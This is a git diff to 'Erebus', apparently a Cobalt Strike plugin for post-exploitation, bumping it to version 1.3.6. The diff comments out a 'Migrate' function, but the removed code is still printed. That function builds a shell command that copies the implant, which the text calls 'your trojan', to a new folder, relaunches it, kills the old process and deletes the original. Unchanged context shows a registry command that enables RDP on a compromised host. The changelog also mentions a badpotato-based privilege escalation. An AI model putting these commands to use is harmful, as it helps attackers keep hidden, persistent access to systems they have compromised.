diff --git a/Main.cna b/Main.cna index 4b17816..a00b812 100644 --- a/Main.cna +++ b/Main.cna @@ -11,7 +11,7 @@ action("\cC Auther: S0cke3t"); action("\c5 Ver: ".Getinfo()[0]); popup beacon { - insert_menu("beacon_bottom", $1); + #insert_menu("beacon_bottom", $1); menu "Erebus"{ include(script_resource("modules/gather.cna")); include(script_resource("modules/pwn.cna")); diff --git a/README.md b/README.md index 7c7da37..7d473ff 100644 --- a/README.md +++ b/README.md @@ -4,6 +4,9 @@ **由于异步处理问题,某些功能可能会存在BUG** **暂时未找到解决方法,如果大佬们有解决方案,欢迎联系我~** +## 更新日志 2021-06-07(V1.3.6) +- 移除post模块migrate功能 +- 修复beacon右键菜单插件重复显示问题 ## 更新日志 2020-10-19(V1.3.5) - 添加badcmd命令(基于badpotato) @@ -24,14 +27,13 @@ - cmd,powershell命令执行历史 - 最近使用文件历史 - post模块,添加 - > 进程迁移功能 - 根据用户配置,将原生会话文件位置迁移到新的目录,并重新命名文件名称生成新会话 - ![](README_md_files/image.png?v=1&type=image) + > ~~进程迁移功能(已废除) + 根据用户配置,将原生会话文件位置迁移到新的目录,并重新命名文件名称生成新会话 Migrate directory: 进行迁移的目录,此项在setting.txt文件中进行配置。 Process name: 新进程名,自动生成,生成规则可在common.sl中修改。 Keep old connection: 是否保持原有会话连接。 **注: 迁移只支持原生会话,且只能迁移一次 !** - 详见: Post----Migrate + 详见: Post----Migrate~~ - 其他 - 调整备注信息,Ver--->NT - 隐藏部份功能执行时的细节信息 diff --git a/modules/post.cna b/modules/post.cna index 2643abe..06b9478 100644 --- a/modules/post.cna +++ b/modules/post.cna @@ -72,19 +72,20 @@ sub Open_rdp{ brun($1, "REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"); } -sub Migrate{ - $dir = $3['dir']; - $process = $3['pname']; - $current_pro = beacon_info($bid, "process"); - $pid = beacon_info($bid, "pid"); - $keep = $3['keep']; - $cmd = "mkdir ".$dir." || copy /y ".$current_pro." ".$dir.$process." && start ".$dir.$process." && taskkill /F /PID ".$pid." && del /F ".$current_pro; - if ($keep eq "true"){ - $cmd = "mkdir ".$dir." || copy /y ".$current_pro." ".$dir.$process." && start ".$dir.$process; - } - bshell!($bid,$cmd); - btask($bid, "migrating process location to ".$dir.$process.", please wait new session !", ""); -} +# sub Migrate{ +# $dir = $3['dir']; +# $process = $3['pname']; +# $current_pro = beacon_info($bid, "process"); +# $pid = beacon_info($bid, "pid"); +# $keep = $3['keep']; +# $cmd = "mkdir ".$dir." || copy /y ".$current_pro." ".$dir.$process." && start ".$dir.$process." && taskkill /F /PID ".$pid." && del /F ".$current_pro; +# if ($keep eq "true"){ +# $cmd = "mkdir ".$dir." || copy /y ".$current_pro." ".$dir.$process." && start ".$dir.$process; +# } +# bshell!($bid,$cmd); +# btask($bid, "migrating process location to ".$dir.$process.", please wait new session !", ""); +# } + sub Socks{ local('$type $lport $refhost $refport $rch'); $type = $3['type']; @@ -167,19 +168,19 @@ sub Socks{ } - item "Migrate"{ - local('$process'); - $bid = $1['@']; - $process = Getname().".exe"; - $dir = Getinfo()[1]; - $dialog = dialog("Migrate process",%(bid => $bid, dir => $dir, pname => $process, keep => "true"), &Migrate); - dialog_description($dialog, "Migrate your trojan to another directory and then reconnect a new session, only native sessions are supported and can only be migrated once"); - drow_text($dialog, "dir", "Migrate directory: "); - drow_text($dialog, "pname", "Process name: "); - drow_checkbox($dialog, "keep", "Keep old connection: ", ""); - dbutton_action($dialog, "Exec"); - dialog_show($dialog); - } + # item "Migrate"{ + # local('$process'); + # $bid = $1['@']; + # $process = Getname().".exe"; + # $dir = Getinfo()[1]; + # $dialog = dialog("Migrate process",%(bid => $bid, dir => $dir, pname => $process, keep => "true"), &Migrate); + # dialog_description($dialog, "Migrate your trojan to another directory and then reconnect a new session, only native sessions are supported and can only be migrated once"); + # drow_text($dialog, "dir", "Migrate directory: "); + # drow_text($dialog, "pname", "Process name: "); + # drow_checkbox($dialog, "keep", "Keep old connection: ", ""); + # dbutton_action($dialog, "Exec"); + # dialog_show($dialog); + # } item "Socks tunnel"{ $bid = $1['@']; diff --git a/setting.txt b/setting.txt index d8a98c8..2defdd9 100644 --- a/setting.txt +++ b/setting.txt @@ -1,2 +1 @@ -ver = 1.3.5 -dir = C:\Services\ \ No newline at end of file +ver = 1.3.6 \ No newline at end of file